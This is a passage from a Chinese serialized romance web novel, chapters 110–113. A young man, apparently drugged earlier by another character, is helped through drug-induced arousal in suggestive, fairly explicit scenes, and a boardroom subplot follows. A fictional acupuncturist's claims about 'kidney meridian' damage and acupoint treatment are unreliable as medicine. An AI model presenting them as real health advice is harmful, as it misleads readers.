裴屷听到敲门声时眉头一皱, 眸中闪过一丝疑惑,他并没有叫客房服务。 他拨通酒店前台的电话:“这间房有服务人员上来?” “抱歉先生,我们并没有安排——” 外面的敲门声似乎只是象征性地敲了几下, 前台的话还没说完, 房门突然“滴”的一声被刷开了。 鄢忬推门走了进来,手里还拿着一张房卡。 “……没事了。”裴屷挂断了前台的电话。 他沉着一张脸, 刚才太急了,忘记了这家酒店在鄢忬的控股下。 裴屷攥紧了拳,浑身低气压,眸色冷然,目光如有实质地向他刺去:“我没有允许你进来。” 鄢忬并未回答他, 他的目光越过裴屷, 落在了床上蜷缩的贺衍身上, 他眉头拧了一下,看来镇定剂的确没有用。 “毛巾没用。他现在的状态,不是物理降温能解决的。” 裴屷神色愈发森然:“所以的确是你给他下的药。” 鄢忬看了裴屷一眼, 依稀能从中看出鄢瑜的模样。 只是那双眼睛和裴行赫相似的眼睛,可真是讨厌, 鄢忬低嘲地啧了一声,眼眸晦暗:“下药?你果然什么都不知道。” 裴屷眉头蹙紧, 神色一滞。 鄢忬几欲胯部想要走过去, 却被裴屷伸手拦住了。 裴屷冷冷出声:“舅舅, 请您离开, 贺衍这里有我照顾就行。” 裴屷想到贺衍现在的模样,眉梢闪过几抹焦灼和压抑的怒意,他显然没有相信鄢忬的话。 两人僵持在了原地。 贺衍耳边嗡嗡作响,仿佛隔着一层厚重的毛玻璃。 他隐约听见有人在说话, 却分辨不清内容,只能捕捉到几个零散的音节在脑海中飘荡。 运动裤上的抽绳不知何时已经被裴屷重新系上了。 好热,好胀。 贺衍的手想要伸进去,却被系紧的裤腰拦住了。他拽着绳子想要扯松,但或许是拽错了绳结,反而变得更紧了。 贺衍撑着床的边沿,艰难地坐起来,但在将要站起来的时候又摇摇晃晃地跌倒了床上。 他挣扎着睁开眼,在不算清晰的视野中,看到了两个模糊的人影,视野虚化,但只是一眨眼,这两个人又重合成了一个身影。 “阿衍!” “贺衍!” 站在门处的两人同时将目光投在了他身上,却又互相僵持着谁都无法靠近。 贺衍摇了摇头,大脑无法再做出更多的思考,灼热的欲念和无法克制的热颤让他的思绪处于一片混沌之中。 对,现在,先,先去冲个澡—— 然后,把这股热意压下去。 贺衍踉跄地起身,含着水雾的目光试图寻找浴室。 “阿衍,过来我这边。”鄢忬的目光中夹杂着翻滚的暗色,但很快又被他强制压下。 熟悉的声音,熟悉的语气,熟悉的感觉。 [阿衍,过来] [阿衍,不要乱动] [阿衍,很快就不会难受了] …… 贺衍扶着墙,脚步忽然停滞了一瞬。 平日带着冷意野性的眉眼被潋滟的红意浸染,汗湿的额发黏在了泛红的眼尾,却添了几分说不出的欲色。 贺衍朝着声音的方向看过去:“叔叔?” 房间里怎么有两个鄢忬,想法在脑海中一闪而过。太久未能抒发的热意几乎蚕食了他全部的理智,炽热的喘息从微张的唇瓣溢出,贺衍跌跌撞撞地朝着鄢忬走去—— 那里,是更舒服地解决问题的地方。 “叔叔,我好难受。”贺衍几近呢喃地出声。 鄢忬笑了下:“阿衍,我在这里。” 裴屷瞳孔骤缩,呼吸倏然停滞。 贺衍在自己的世界里消失了一年,在这一年的时间里,他几乎都和鄢忬待在一起。 他从来没有这么清醒地意识到这一点。 心脏像是被蚂蚁啃食一般生疼,裴屷神色彻底被寒意取代,即便鄢忬什么都没有说,他已经清楚两人到底发生了什么。 在贺衍要走到鄢忬旁边时,裴屷伸手拉住了贺衍。 贺衍蹙着眉,瞳孔涣散,潮红的眼尾洇着水光,那颗泪痣在凌乱的黑发间红得刺目。 滚烫的肌肤一触到那片凉意,便不受控制地贴得更紧。 裴屷僵在原地,他垂眸看着贺衍湿润的睫毛,喉结艰难地滚动了一下。 鄢忬平静地说道:“你知道他为什么这样吗?” …… 原来是岑靳,但即便如此—— 裴屷的指节捏得发白,眼底翻涌着压抑的怒意:“所以,你连问也不问,就直接剥夺了贺衍选择的机会吗?” “裴屷,如果真的让你面临那样的选择,你确定不会做出和我一样的决定?” 鄢忬嗤笑了一声,目光却温柔地落在了贺衍身上。 他走到床边,拿起了放在冰水中的毛巾。在裴屷警惕的目光中走了过去,鄢忬抬手,用毛巾轻轻擦拭贺衍汗湿的额头。 因为冰凉的毛巾,鄢忬的手比裴屷的更凉了。贺衍半靠在裴屷身上,却无意识地蹭向冰凉的触感,潮红的脸颊贴向了他的手掌。 鄢忬眼中满是怜惜,他轻声说道:“药物会损伤寿命,但我会一直在他的身边陪着他。” “别碰他。”裴屷倏然变冷,他猛地将贺衍拉到了自己的身后,“冠冕堂皇,你完全是为了一己私欲。” 鄢忬嘲弄地低笑一声,墨绿色的瞳仁边缘凝着冷光。 冠冕堂皇?一己私欲?他这个外甥可真是可笑。爱情本来就是自私的掠夺,他可没有那种迂腐的故作清高。 贺衍摇了摇头,他扯下额上已经变温的毛巾,听到模糊的声音在耳边破碎—— “阿衍,我在这里。” “贺衍,你刚才想去哪里?” 两道声音同时响起。 贺衍睫毛轻颤,他睁开眼,回答了那个问题:“浴室,太热了。” 他的唇瓣微微张开,混沌的大脑里闪过零星的理智,他艰难地想要推开贴着自己的冰凉躯体,指尖却使不上力气。 贺衍半靠在裴屷的肩上,滚烫的唇瓣不经意擦过裴屷冰凉的后颈,留下一片灼热的湿痕,两人肌肤相贴的地方立刻泛起一片战栗。 裴屷低声嗯了一声,他警惕地看了眼鄢忬,牵着贺衍走到了浴室。 鄢忬眯着眼,两道浓眉几乎要压进睫毛丛里,他没有阻拦自己的外甥,唇边却泄出一抹轻嘲。 裴屷打开了花洒,水溅湿了衬衫的袖口,湿答答地贴在了手臂上,但他浑然不觉,视线几乎未从贺衍身上离开。 他的目光复杂又深沉,只是轻声说道:“我就在外面,有什么需要喊我。” 裴屷离开了浴室,关上了浴室的门。 门被关上了。 贺衍将滚烫的额头抵在冰凉的瓷砖上。 水珠从湿透的发梢滚落,在锁骨凹陷处短暂停留,滑过泛着不正常潮红的胸膛,又顺着肌肉线条滑向紧实的腹部。 短暂的清醒转瞬即逝,灼热感再次从骨髓深处蔓延。 为什么会这么难受,贺衍唇边泄出难耐的喘息。 他咬着下唇,睫毛上挂着水珠。 冷水没有太多的用处,贺衍难耐地弓起背,水珠顺着脊椎凹陷处滑落。 黑色的布料已经全部被水浸湿,湿漉漉地贴在了大腿上,勾勒出腿部明显的形状。 他手指颤抖着解开了抽绳。 贺衍咬住下唇,仰头发出一声压抑的喘息,喉结剧烈滚动。 水流声掩盖了细碎的呜咽。 鄢忬神态平静地看着裴屷从浴室离开,似乎早已经猜到了他的做法。 “有我在这里照顾贺衍,不劳您费心了。”裴屷冷冷地嘲了一句,“我想贺衍根本也不想让你费心。” 鄢忬掀起眼皮:“他撑不了多久了。” “裴屷,你知道你父亲在你身旁安插了人吗?如果你不想害了他,就不要再和他接触。” 裴屷的瞳孔骤然收缩。 裴屷倏然冷静,他的神色便恢复了正常:“父亲没有亲自出面干预我,便是默许了这件事。” “舅舅,他是我的,我不会把他让给你。” 他这个外甥,倒是会狡辩。 墨绿色眼眸翻滚着浓稠的暗色,鄢忬看了眼浴室的方向。 阿衍的状况不能再拖了。 鄢忬做出了退让:“既然你这么坚持,那就打电话给那个针灸馆吧,镇定剂对他来说没有用。” 鄢忬离开了房间,他关上了门,走进了对面的套房。 裴屷愣了一瞬,脑海中电光一闪,所以贺衍之前去那家针灸馆,是为了这个。 他快步走到床头拿起手机,拨通了那家针灸馆的号码。 电话瞬间被接起了。 “喂?”出声的是林医师,他的声音不见丝毫困意,但现在已经是凌晨两点多了。 裴屷抿唇,眸中闪过深思:“林医师,是我,裴屷。” “是小裴啊。”林医师的语气里有些惊讶,但并不明显。 裴屷快速描述着贺衍的症状:“他现在体温很高,意识也不是很清晰,全身潮红,像是——” 浴室里传来一阵声响,裴屷的声音断在了那里。 浴室内,镜面映出贺衍一人的身影。 他脱力般滑坐在湿漉漉的地面上,他的指尖落在了身侧,肌肉不受控制地痉挛。 但那里却很快又变成了之前的模样。 贺衍眸中带着水汽,意识清明一瞬便再次被暗色浸染,喉间溢出了很轻的呜咽。 裴屷的目光落在浴室大门上,他对电话那头说了声抱歉,立刻走到了浴室那里,但就在他准备打开浴室门的时候。 突然听到了里面的声音。 裴屷呼吸一滞,整个人被钉在了原处。【你现在阅读的是 】 110-120 第111章 第 111 章 “我只是、想帮你。”…… 第111章 水流声掩盖住了大部分的喘息。 但裴屷这次就在浴室门外, 他听得很清楚。 裴屷的手停在了半空中,喉结不自觉地滚动,声音有些发紧:“贺衍, 需要帮忙吗?” 浴室内。 贺衍湿漉漉的发丝黏在泛红的肌肤上, 他手中的动作停顿,身体微微轻颤着。 他仰头顶着瓷砖, 微眯着眼看向门外。 大概过了几秒,又或者是十几秒。 裴屷站在那里,维持着同一个姿势,呼吸不知为何也变得急促起来。 “不用。”略微沙哑的声线透过磨砂玻璃门穿到了外面,但那声音里带着明显的颤抖, 尾音还未落下就被一声闷哼截断。 裴屷的手慢慢垂落, 指腹无意识地摩挲着浴室大门的把手。 理智告诉他应该离开, 可双脚却像生了根,怎么也挪不动半步。 裴屷站在原地,直到听见林医师在电话那头疑惑的呼唤, 才猛然回神。 他后退几步,重新将手机放在了耳边。 林医师听完他描述的所有症状, 沉吟片刻后说道:“他今天是不是喝酒了?” 得到裴屷肯定的回复后,林医师叹了口气:“这就对了, 酒为湿热之物, 与他体内残留的药性相冲。自然而然, 经络内残存的邪火也就被激发了。” 裴屷握紧手机:“那现在该怎么办?” “当务之急是疏解。”林医师的斟酌着用词, “精满则溢,就像水库泄洪,堵不如疏。” 裴屷想到刚才在浴室门外听到声音,耳尖瞬间烧了起来:“他应该已经——” 林医师听出了他的言外之意, 语气严肃起来:“不是一次就行了,一定要让他彻底释放干净。如果发泄后,贺衍的体温能稳定下来,应该就没事了。” 裴屷抿了下唇,出声道谢。 “现在已经这么晚了,您是还没休息吗,还是说有人在我之前联系您了?” “大概一个多小时前,的确有一位先生打电话联系我,他简单说了下贺衍的情况,不过没有你刚才描述得那么详细。” 林医生感慨着说道:“那人说是之后会再次联系我,但我没想到打来的电话会是你。” 挂断电话前,林医师补充道:“如果贺衍的体温在泻火后还没有退下去,那就把他带到我这里。” 电话挂断后,房间里静得只有浴室里的水声。 裴屷攥着手机的指节发白,目光不自觉地飘向浴室方向。 二十分钟后,时间已经逼近凌晨三点。 浴室的水声仍在淅淅沥沥地响着。 他怎么还没有出来。裴屷猛地从沙发上站起来,在他快要走到了浴室门前时,脚步却停了下来。 他抿了下唇,终于叩响了磨砂玻璃门。 “贺衍?” 浴室内,贺衍听到声音,本想回答,但喉间溢出的只有一片无声的哑意。 一门之隔的外面,裴屷依旧只能听到浴室里淅沥的水声。 他眼中的忧色加重,身体微微前倾,犹豫了片刻,指腹触碰到了门把手。 金属的凉意顺着指尖蔓延,裴屷深吸了一口气,拧开了门。 贺衍靠坐在墙角,裤腰松垮地堆在大腿处。 门开的刹那,浴室内的一切尽收眼底,裴屷的呼吸骤然停滞,耳尖红得滴血。 贺衍半掀着眼皮,湿漉漉的睫毛下眸光涣散,被自己咬破的唇角渗出一丝血色,在潮红的脸上格外刺目。 裴屷瞳孔放大,耳膜里只有急促的心跳撞击声。 他的唇色抿成了一条直线,眸中闪过几丝无措和歉意:“抱歉,我刚才在外面没听到你的声音,还以为——” 贺衍半眯着眼看向裴屷,眸中闪过几分审视和警惕。 体内的燥意并未消退,骨髓内的痒意在一点点地吞噬着他的身体和理智,但相比于刚才,现在已经好太多了。 贺衍手指无意识地蜷了蜷,他抿紧唇瓣,吞下快要溢出的喘息。 裴屷仓促移开视线,近乎慌乱地拿起旁边的浴巾,覆在了贺衍的腿上,隐约勾勒出底下贲张的轮廓。 他起身时,指尖不小心擦过贺衍的手臂,眉头立刻蹙了起来—— 怎么还这么烫? 裴屷喉结滚动,将那一瞬紊乱的心跳强压下去。他垂下眼睫,声音放得很轻:“你现在感觉怎么样?” 没有狎昵的打量,没有暧昧的试探,只是干干净净的一句询问。 贺衍看着他微微发颤的指尖和刻意保持的距离,眸中的冷意渐渐消退。 他张了张嘴,却只溢出一点气音:“没力气了。” 裴屷读懂了他的口型,伸手要去扶他。可就在肌肤相触的瞬间,贺衍猛颤了下,条件反射般地甩开了他的手。 熟悉的痒意在骨髓里叫嚣,像无数蚂蚁在血管里爬行。 贺衍瞳孔骤然扩张,他别过脸去,摆了摆手示意裴屷不用再过来。 水珠从他发梢坠落,有几滴溅在裴屷脸上,但他却楞楞地站在那里,目光凝在了贺衍的手臂上的那两道浅白的伤痕上。 记忆如潮水般涌来,他忽地想起了贺衍十八岁生日的那个晚上。 如果那时他就知道自己心跳无端加速的原因,如果那时他就知道自己已经喜欢上了贺衍,如果那时—— 裴屷嘴角抿紧,眸色晦暗,眼中全然只有贺衍的身影。 就在贺衍快要走到床边的时候,他的膝盖打了个颤,一股难耐的痒意和燥热从尾椎攀上来,腿根不受控地痉挛了下。 地面传来“砰”的一声闷响。 裴屷神色一慌,顾不得其他,本能地想去扶,但在触及贺衍的神色后,指尖轻颤着垂在了身侧。 贺衍狼狈地撑着地面自己站了起来,眼尾洇着的那抹潮红像是被手晕染开一样,连泪痣都带上了灼目的红艳。 胸前的粉意随着他的喘息前后起伏,他的肌肉紧绷着,劲瘦的腰肢轻颤。 裴屷喉结滚动,心绪起伏,像是羽毛扫过一般,他压下心底不合时宜的悸动。 空气里,只能听到贺衍略带沉重的喘息。 贺衍撑着地面慢慢起身,明明身体在颤抖,但被水汽浸湿的神色却愈发冷然,眸里还带着几分厌倦。 这种反差非但没削减他的欲感,反倒多了几分若有似无的撩人蛊惑。 贺衍咬紧牙关,挂着睫毛上的水珠顺着睫羽滚落,他勉强维持了稳定,坐到了床边。 裴屷递给贺衍一杯水。 “林医师说,”裴屷声音发紧,目光不敢下移,“那里,要彻底……解决才行。” 贺衍将杯中的水一饮而尽,他擦下嘴角,眉梢闪过几分自嘲。他已经自己弄过几次了,但不知道是不得章法还是如何,无论怎样抚弄都无法真正解脱。 最早的那班高铁去阳岗的高铁,是在早上七点多。 只要再忍几个小时就好了。 他又不是没忍过,贺衍睫毛轻颤,这次忍过去也就好了。 “没事,谢谢你。”他蜷进被褥,留给了裴屷一个背影。 裴屷关上灯,他半掩着门,走到了套房的隔间,再次拨通了林医师的电话。 林医师似乎是刚睡着,声音带着几分睡意的沙哑:“情况还没好转?” “嗯。”裴屷压低声音,喉结滚动了一下,“要是他前面一直硬着,会不会——” 林医师瞬间清醒,语气严肃起来:“若是一直郁结不泄,恐怕会伤及肾经,日后更难调理。你试着刺激他的曲骨穴,位置在耻骨联合上缘中点处。以指腹轻按,力度要适中。” 裴屷的耳尖在黑暗中微微发烫。 “若依旧无解——”林医师沉默片刻,斟酌着说道,“□□之法引火下行,其实这方法当下对他来说或许最为妥当。” 想到贺衍倔强的性子,林医师叹了口气:“但那孩子怕是宁可忍着也不愿如此。你告诉他,医者面前无羞事,不必难堪,就算是他亲自来我这里看病,也是如此。” 电话挂断后,裴屷在黑暗中站了许久。 他站在半掩的门扉外,目光落在了床上。 月光透过窗帘的缝隙洒进来,勾勒出贺衍身体的轮廓,他仍在微微发颤,偶尔泄露出几声压抑的微乎其微的喘息。 裴屷深吸一口气,轻轻推开门走了进去,指尖在墙壁上摸索到开关,啪的一声轻响,床头的小夜灯亮起昏黄的光晕。 光线很柔,在房间里晕开一片暧昧的朦胧。 贺衍猛地转过身,额前的碎发有几缕黏在了汗湿的额角,那双眼睛此刻被欲望折磨得蒙上了一层水雾,眼尾泛着不自然的红,像是被人用指尖狠狠揉搓过。 贺衍额头覆着一层细密的汗珠,他的手指死死攥着床单。 裴屷站在原地没动。 “我——”裴屷的声音哑得不成样子。 贺衍的眼神变冷。 “裴屷,我以为你和其他人不一样。”贺衍的声音染上了几分寒意,明明是想表现出戒备的姿态,却因为眼底氤氲的雾气,让这戒备带上了几分脆弱。 裴屷忽然单膝跪在了床边,他的额发此刻垂落几缕,在眉骨处投下细碎的阴影。 “不是你想得那样,我只是、想帮你。” 他缓缓伸出手,指尖轻轻碰了碰贺衍滚烫的手背:“用别的办法。” 第112章 第 112 章 可你又不是医生! 第112章 略微冰凉的指尖触及手背, 贺衍抖了下,他抿着唇,几乎是瞬时抽回了手。 裴屷解释的声音随之在身侧响起:“刚才……” 他似乎没有说谎, 但贺衍眉头拧了一下, 眸中依旧闪过几分怀疑。 房间里一时只剩下两人交错的呼吸声。 “我亲自问他。”贺衍哑着嗓子摸出手机,指尖在屏幕上轻颤, 拨通了那个号码。 电话嘟嘟响了几声,接通了。 贺衍背过身,低声交谈。 裴屷睫毛轻颤,安静地单膝跪在那里,目光落在贺衍通红的耳尖, 眨了下眼。 通话结束后, 贺衍脸色有些古怪, 他沉默了一会儿。 贺衍垂着眼睛,对着裴屷道了声歉:“刚才误会你了。” 裴屷摇了摇头:“你,要我帮你吗?” 贺衍立刻拒绝了:“不用, 我自己来就行。” 裴屷眼底闪过几分失落,但他没有强求, 起身站了起来。 房门轻轻合上,里面的一切声音都被大门隔绝。 裴屷斜倚在紧闭的门扉上, 他的后颈抵着冰凉的门板, 微微仰着头, 喉结随着呼吸轻轻滚动。 异色的双眸望着天花板上的吊灯, 不知道在想些什么。 房间里,贺衍咬着唇,颤抖着手指按压林医师所说的曲骨穴,可不管他怎么按, 都没有任何用处。 反而因为触碰,胀得更痛了,青色的血管在薄薄的表皮下游走,绷得近乎透明,随着脉搏突突跳动,异常的难受。 他泄愤般再次握住,却像被什么堵住似的,无论如何都释放不出来。 贺衍低声暗骂了几句,细密的汗珠顺着脖颈滑落,本就潮红的脸颊此刻艳得惊人。 无法克制的痒意从骨髓深处往外钻,贺衍难耐地弓起腰,后腰的肌肉绷得发疼,小腹一阵阵发紧,可偏偏就是—— 他低声咒骂,声音里带着一丝几不可闻的哭腔。 林医师的话再次在耳边回响:[长时间郁结会伤及肾经,很可能会废掉……后面……刺激……] 这些词在他脑海里炸开,贺衍的脸黑了一瞬,他咬着牙,脸色变得五彩斑斓。 大概过了一分钟,又或者过了几分钟。 轻轻的敲门声响起。 门被打开了一个极小极小的缝隙。 “有用吗?”裴屷的声音顺着那个小缝传了过来。 贺衍攥着被单的手指紧了又松,最终从牙缝里挤出一句话:“你进来。” 门开了。 裴屷打开了灯。 贺衍长睫不停颤着,他甚至没有睁开眼睛,只是蹙着眉,唇瓣紧闭着。 “怎么了?”裴屷声音很轻,带着几分试探和一丝他自己都未曾察觉的期待。 贺衍深吸了一口气,神色中带着几分难堪的羞耻,他的唇瓣颤抖着,终于说道:“帮我。” 裴屷瞳孔紧缩了,大脑空白了一瞬,他愣了下。 就在贺衍以为他不愿意的时候,裴屷单膝跪在了床边,简单地回了一个“好”。 单薄的被子盖在耻骨下,堪堪遮住了那处。 “这里、帮我按一下,谢谢。”贺衍指了指腹部下方的某个穴位,压抑着自己颤抖的音色。 裴屷单膝跪在床边,忽然轻声纠正:“这个位置不对。” 刚才他找错位置了?! 贺衍艰难地睁开眼睛,眸中带着错愕,涣散的瞳孔勉强聚焦。 他愣怔了下,还未来得及反应,腹部便感觉到了冰凉的触感。 冰凉的指尖顺着腹部中线缓缓下滑,裴屷的手很稳,手指在耻骨上缘停住,轻轻覆了上去。 (曲骨穴,中医针灸穴位之一,隶属任脉。位于腹下部耻骨联合上缘上方凹陷处) 贺衍猛地一颤,呼吸骤然急促起来。 “曲骨穴在这里。”裴屷的声音比平时低了几分,他的指尖开始画圈按压,力道恰到好处。 贺衍的腰猛地弹了一下,随着裴屷的动作,贺衍的呼吸越来越乱,他死死咬住下唇,却还是漏出了一声低喘。 “放松。”裴屷的声音低沉而克制,神色间不见半分狎昵,唯有绷紧的下颌和额角若隐若现的青筋,暴露了他并不平静的内心。 裴屷的指腹稍稍加重力道,贺衍的身体渐渐软下来,他突然仰起脖颈,喉结滚动,从唇间溢出一丝闷哼。 贺衍浑身一抖,他下意识抓住裴屷的衣袖。 裴屷的呼吸也乱了。 向来清冷的眸子里翻涌着暗潮,指尖下的肌肤滚烫柔软,随着按压微微凹陷,又在他移开时缓缓回弹。 “还、还要多久,裴屷——”贺衍的手指揪紧了他的袖子,声音里带着几分隐隐约约的求饶。 裴屷眸色变暗,他没有回答,只是稍稍调整了角度,指腹贴着曲骨穴轻轻打转。 贺衍浑身剧烈颤抖着。 裴屷按照林医师的要求的手法,继续不轻不重地揉着曲骨穴。 贺衍绷紧的腰肢渐渐软下来,却在下一秒又猛地弓起,紧实的腹肌随着急促的呼吸起伏。 位于腹部下方的曲骨穴传来微微的酸胀感。 贺衍的脚趾无意识地蜷缩着。 他死死咬住下唇试图压抑声音,唇角的伤口再次裂开,渗出了血。 裴屷眉梢蹙起:“贺衍,医者面前无羞事。” 可你又不是医生!贺衍难堪地别过脸,睫毛颤得厉害。 大抵贺衍之前的确是胡乱按错了穴位,现在仿佛堵塞的水关被疏通了一般。 大坝的水闸要开了,积压了很长时间的水似乎将要从坝口奔涌而出。 大坝的开口处有了征兆,微微渗出了些许。 贺衍的舌尖顶着上颚,抿紧了唇。他撇过头,不再看裴屷,但微抖的身躯却紧绷起来。 裴屷愣了一下,动作停了一瞬,仿佛也被贺衍炽热的呼吸传染了一般。 裴屷又继续按摩了。 贺衍的指尖抽搐了下,他的眼睛微微翻白,眼前似乎出现了颜色各异的像素点。 他弓着的腰再次落回,劲瘦结实的腰肢浮上了一层薄汗。 好,好舒服。 他抿紧的唇瓣微张,露出了舌尖,眼神也再次涣散起来。 裴屷喉结发紧,呼吸也变得急促。 他不敢在看,于是垂下了眼,睫毛颤着。 想起林医师严肃的叮嘱,裴屷眸色暗了暗。 他再次帮贺衍按揉曲骨穴(曲骨穴,中医针灸穴位之一,隶属任脉。位于腹下部耻骨联合上缘上方凹陷处)。 袖口被贺衍再次无意识地扯住了,他的目光落在了什么。 衬衫被贺衍攥得很紧,那只修长又骨节分明的手背上,青筋隐隐浮现,骨节那处泛着粉。 忽然一阵湿热触感掠过唇角,裴屷下意识舔了下嘴角,微微愣了下。 他神色如常地咽了下去,指腹继续或重或轻地按在曲骨穴上。 结束后,贺衍陷在凌乱的床褥间,他的睫毛湿漉漉地黏在一起,眼尾还残留着未褪的潮红。 伴随着渐渐平缓的呼吸,他的胸口均匀地起伏,昏沉地睡了过去。 裴屷轻轻拉过被子盖到了他的肩膀上。 贺衍无意识地蹭了蹭枕头。 裴屷目光柔和,唇角扬起一抹浅浅的微笑。 他起身拿起测温器,看到终于降下来的温度,紧绷的大脑终于放松下来。 裴屷垂眸,静静地凝视着贺衍的睡颜,他很久没有动作,甚至连呼吸都下意识地放轻了。 不知过了多久。 他俯下身,动作轻到像是怕惊扰一场美梦。 他的唇轻轻贴上贺衍的眼皮,这个吻很轻,甚至没有完全落下,如同羽毛拂过水面。 晚安,好梦。 裴屷喉结微动,他最后看了眼床上熟睡的人,轻轻带上了房门。 晨光透过窗帘的缝隙洒进来,贺衍猛地睁开了眼。 他盯着陌生的天花板愣了几秒,破碎的画面在脑海中闪回。 贺衍捂着脸,指缝里挤出一声低咒,喉结艰难地滚动着。 门外突然传来了敲门声,他整个人瞬间僵住。 第113章 第 113 章 再次交锋 “贺衍, 我可以进来吗?”裴屷的声音隔着门板传来。 贺衍的手指一顿,刚才被他勉强压下的画面又再次在脑海中出现。 昨晚是他选择让裴屷帮忙,如今再懊悔也没有用。 贺衍深吸了一口气:“进来吧。” 门开了, 两人视线相触的瞬间, 又同时移开。 “昨晚的事你不用在意。”裴屷声线依然清冷自持,只是碎发下的耳垂却红得滴血。 但贺衍正处在尴尬之中, 并没有抬头。 裴屷微微垂眸,声音平静:“你生病了,我帮你,仅此而已。” 裴屷的语气并不温柔,带着点公事公办的疏离, 但恰恰是这种略显冷漠的态度, 反而有点贺衍却松了口气, 紧绷的肩膀也放松下来。 贺衍眉梢稍稍舒展开来,他轻咳一声,抬头时额前几缕不听话的黑发随着动作翘起:“裴屷, 谢谢。” 裴屷眼底闪过一丝几不可察的浅笑,很快又恢复如常。 他将干洗好的衣物放在床头, 突然话锋一转:“飞行器设计领域的院士石河泰,今年三月受聘于铜海大学。” 他顿了顿, 声音平静:“我来这里, 是想成为他的入室弟子。” “宿舍的事, ”裴屷声音里带着几分歉意, 但他的神色淡漠,“如果你觉得不便,我可以搬——” 贺衍眉梢微蹙,他了解裴屷的为人, 从不在原则问题上妥协,既然他明说了目的,就绝不会在这件事上撒谎。他对裴屷本来就带着点愧疚,更何况,昨晚的事确实是自己又欠他一个人情。 贺衍鼻尖皱了下,自己可干不出把人赶出宿舍这么没良心的事,他无声叹了口气,打断了裴屷。 “宿舍是学校的,你想住多久都行。” 裴屷微微颔首:“好。” 他神色依旧淡然,似乎并不在意贺衍的答应与否,平静地转身离开了房间。 裴屷轻轻关上了房门。 大门隔绝了视线。 裴屷淡漠的神色不复存在,乱跳不止的心脏撞击着胸腔。 他垂眸看着自己略微颤抖的指尖,终于放任嘴角笑了起来,右侧的唇边露出了一个很小的酒窝。 既然贺衍对那些直白的情感表达抗拒,不想被特殊对待,那他就继续维持这样的距离。 他的手指轻触了下左眼。 淡青色的瞳孔像是带着一层蒙蒙的雾,视线只能聚焦在很近的距离,再远些的景物便都模糊成了色块。 可要是这只眼还如从前一般清明,他或许永远不会踏进那家针灸馆,也就不会与贺衍重逢。 命运还真是讽刺,将他最不堪的残缺变成了最珍贵的契机。 但即便如此,他也欣然接受。 裴屷睫毛颤着,他不想再经历去年的一切了,只要能像现在这样,光明正大地站在他身边,就够了。 他和贺衍都还年轻,未来有无尽的可能。 淮新,贺氏集团总部。 周日,本该是休息日,但高层们纷纷被紧急召集。 会议室里气氛凝重,空气中弥漫着不安的躁动。 “怎么回事?。” “谁知道呢,听说连何董都来了。”那人瞥了一眼坐在一侧的何眷蓉,压低声音道,“看来事情不小。” 何眷蓉端坐在那里,妆容精致,神色平静。 只是她的双手交叠,手指无意识地敲着手背,掩饰着内心的不安。 一位与她私交不错的高层正巧坐在了她的旁边,凑近小声问道:“何董,您知道这次会议的具体内容吗?” 何眷蓉嘴角微微上扬,避重就轻地说道:“公司最近在调整战略方向,应该是相关事宜。” 她岔开话题,眼神却不自觉地飘向会议室大门。 在上次贺琚的警告,她一直没来公司,但今天到底会是什么事情,居然会如此大动干戈地把这么多高层都聚到这里。 九点整,会议室里已经座无虚席,却迟迟不见贺氏集团最高领导人的身影。 窃窃私语声越来越大,有人开始不耐烦地看表。 突然,会议室的大门被推开。 所有人的目光齐刷刷地投向门口,但走进来的不是贺衍,而是一个他们更加熟悉的身影。 贺琚嘴角噙着若有若无的笑意,步伐轻快地走到主位前。 “各位上午好,虽然大家应该都认识我。”贺琚双手撑在会议桌上,环视众人,“但好像忘记正式介绍自己了。” 他顿了顿,眼中闪过一丝玩味:“我是贺总的秘书——贺琚。” 会议室里一片哗然。 贺琚慢条斯理地打开文件夹:“今天召集大家来,是要处理几个小问题。” 他的面容依旧含笑,轻描淡写地说道:“比如,……这几位的事。” 被点名的几位高层脸色瞬间煞白。 其中一人猛地站起来:“贺琚,你现在跟贺氏集团又没有关系,有什么资格在这里给我们开会。贺衍人呢?他一个黄毛小儿——” 贺琚的笑容骤然消失,漆黑的瞳孔闪过一丝冷意:“我的意思就是贺总的意思,至于我有没有资格。” 贺琚转向何眷蓉,笑容重新浮现:“母亲,您是贺氏集团的老人了,您说我有资格吗?” 何眷蓉的手指在桌下气得发抖,但面上依旧维持着得体的微笑:“当然。” …… 会议在诡异的气氛中结束。 贺琚迈着轻快的步伐走出会议室,公司的烂摊子比他想象中还要多。 不过没关系,他会很快解决的,他已经迫不及待要去铜海找哥哥了。 贺琚舔了下唇,瞳孔收缩,眼中闪过一丝期待。 那时候,哥哥会奖励自己什么呢? 铜海,酒店。 贺衍洗漱完出来时,客房服务刚好送来早餐。 两人安静地用过早餐。 贺衍看了眼时间,已经是上午十点多了。 他垂下眼睫,遮住了眼底的复杂情绪。 贺衍抿了下唇,舌尖触到了唇上的伤口,略带咸湿的刺痛,脑海中忽然闪现某个片段。 昨晚的记忆像被打碎的镜子,某些片段清晰得刺眼,某些却又模糊得令人心慌。 恍惚间他似乎看到了鄢忬,但他甚至分不清那是自己的幻觉,还是真实发生过的场景。 喉结轻轻滚动,贺衍最终还是没有问出口。 他对裴屷的感谢是真,但那些被情欲支配的难堪画面,那些失控的喘息和触碰,都让他需要独处的时间来消化。 贺衍喝了一口水,指尖却无意识地摩挲着杯沿,语气中带着几分刻意的平静:“裴屷,我要去针灸馆,就不和你一起回学校了。” 话音刚落,他便起身站了起来,脚步朝大门走去。 裴屷闻言手指微微一顿,抬起眼看向他,语气如常:“我一会儿也要去。” 他同样起身,视线与贺衍交汇。 “昨天耽误办手续单位了时间,今天要去复诊。” 贺衍的脚步顿住了,他的眉头几不可察的蹙了一下,目光下意识落在裴屷那只淡青色的瞳孔上。 他张了张嘴,似乎想问什么,最终只是轻轻“嗯”了一声。 但贺衍也只是停了一下,随后便继续往外走去。 酒店的房门被打开,裴屷不紧不慢地跟着他,保持着恰到好处的距离。 他的眼神在贺衍的身上悄然停留,一直不曾移开。 两人一同走出酒店时,阳光正好。 贺衍走在前面,脚步不自觉地放慢了些。当裴屷跟上时,他才状似无意地问道:“你的眼睛,现在情况怎么样?” 春夏交接之际,天气正好,暖阳洒落,微风轻拂。 裴屷心脏没有规律跳动着,悸动随着微风拂过脸颊。 他正准备回答,余光却瞥见了不远处的某个人影,神色倏然变冷。 贺衍眼底闪过一丝疑惑,顺着他的视线望过去,人也愣在了原地。 鄢忬就在对面,他的步伐很稳,缓步走近,成熟男性特有的压迫感扑面而来。 裴屷突然向前迈了一步:“您又想来干什么?” 鄢忬直接越过裴屷,根本没在意裴屷的话,目光落在贺衍身上。 鄢忬眉梢微蹙,墨绿色的瞳孔闪过一丝暗芒。 